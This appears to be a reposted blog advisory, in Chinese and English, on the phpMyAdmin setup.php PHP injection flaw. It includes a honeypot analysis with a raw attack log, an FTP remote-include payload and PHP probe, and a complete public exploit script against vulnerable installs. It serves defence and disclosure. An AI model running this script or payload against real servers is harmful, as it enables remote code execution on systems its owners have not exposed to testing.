phpMyAdmin (/scripts/setup.php) PHP 注入程式碼

  此漏洞程式碼在以下環境測試通過：
      phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 及 3.0.1.1版本；
      Linux核心版本 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)；
      攻擊環境要求：
      phpMyAdmin版本：早於2.11.9.5的2.11.x和早於3.1.3.1的3.x；
      此漏洞只針對採用嚮導模式安裝的phpMyAdmin有效，而對採用手動安裝的無效；
      管理員必須未刪除”/phpMyAdmin/”目錄下的”/config/”子目錄，因為”/scripts/setup.php”嘗試建立的下面PHP程式碼注入的”config.inc.php”檔案正是在這個子目錄下。

 

phpMyAdmin (/scripts/setup.php) PHP 注入程式碼

—————————————————————————————–

 

受影響系統：
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x

不受影響系統：
phpMyAdmin phpMyAdmin 3.1.3.1
phpMyAdmin phpMyAdmin 2.11.9.5

描述：
phpMyAdmin是用PHP編寫的工具，用於通過WEB管理MySQL。

phpMyAdmin的Setup指令碼用於生成配置。如果遠端攻擊者向該指令碼提交了特製的POST請求的話，就可能在生成的config.inc.php配置檔案中包含任意PHP程式碼。由於配置檔案被儲存到了伺服器上，未經認證的遠端攻擊者可以利用這個漏洞執行任意PHP程式碼。

廠商補丁：

目前廠商已經發布了升級補丁以修復這個安全問題，請到廠商的主頁下載：
http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12301

———————————————————————

 

PhpMyAdmin setup.php RFI Attacks Detected

SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our central ModSecurity AuditConsolelogging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.

    

    Let`s look at the raw ModSecurity audit log data of the inbound request:

--4064df0e-A--[10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80--4064df0e-B--POST /pma/scripts/setup.php HTTP/1.1Connection: closeHost: 176.34.207.219Referer: 176.34.207.219User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]Content-Type: application/x-www-form-urlencodedContent-Length: 238--4064df0e-C--action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D

 

    If we URL decode the request body data, we get this:

action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1:{<span><strong>s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt"</strong></span>;}}

 

    As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the “id.txt” file on a remote site. The contents of the id.txt file is PHP code:

<?phpprint(base64_decode("c3Q0cjc="));echo(php_uname());print(base64_decode("ZjFuMTVo"));die;?>

 

    Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack. If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks. SpiderLabs Research was able to find the following script. in public forums that launch similar attacks:

/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */$arguments = getopt("a:b:c");$pma_setup_url = $arguments[a];//echo $arguments[a];$ftp_code = `ftp://devil:devil@85.10.138.51/c.txt`;//$method = POST|GET, $url = http:// /path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent

function send_data($method, $url, $data = ``, $referer_string = ``, $cookie_string = ``, $ua_string = ``){$return = ``;$feof_count = 0;$parsed_url = parse_url($url);$site = $parsed_url;$path = $parsed_url;$query = $parsed_url;($method == `GET` && !empty($data)) ? $path .= `?`.$data : ``;($method == `POST` && !empty($query)) ? $path .= `?`.$query : ``;$fp = fsockopen($site, 80, $errno, $errstr, 30);($method == `POST`) ? $out = "POST $path HTTP/1.1
" : $out = "GET $path HTTP/1.1
";$out .= "Host: $site
";$out .= "Content-type: application/x-www-form-urlencoded
";$out .= "Connection: Close
";$out .= "User-Agent: $ua_string
";$out .= "Referer: $referer_string
";$out .= "Cookie: $cookie_string
";($method == `POST`) ? $out .= "Content-Length: ".strlen($data)."

" : $out .= "
";($method == `POST`) ? fwrite($fp, $out.$data) : fwrite($fp, $out);while (!feof($fp)){if($feof_count >=200)break;$return .= fread($fp, 4800);++$feof_count;}fclose($fp);return $return;}$token_page = send_data(`GET`,$pma_setup_url,``,$pma_setup_url,``,`Opera`);preg_match(`@name="token" value="(a-f0-9{32})"@is`,$token_page,$token_array);

$token = $token_array[1];preg_match_all(`@Set-Cookie: (<span>^
;</span>+)@is`,$token_page,$cookie_array);$cookie_array = $cookie_array[1];$cookie_array = implode("; ",$cookie_array);printsend_data(`POST`,$pma_setup_url,`action=lay_navigation&eoltype=unix&token=`.$token.`&configuration=`.urlencode(`a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:`.strlen($ftp_code).`:"`.$ftp_code.`";}}`),$pma_setup_url,$cookie_array,`Opera`);

 

    This issue was patched in the php source code with the following update:

    

    By filtering out non-word characters, it would prevent the attacker from injecting the RFI code

 

如何聯絡我：【萬里虎】www.bravetiger.cn
【QQ】3396726884 （諮詢問題100元起，幫助解決問題500元起）
【部落格】http://www.cnblogs.com/kenshinobiy/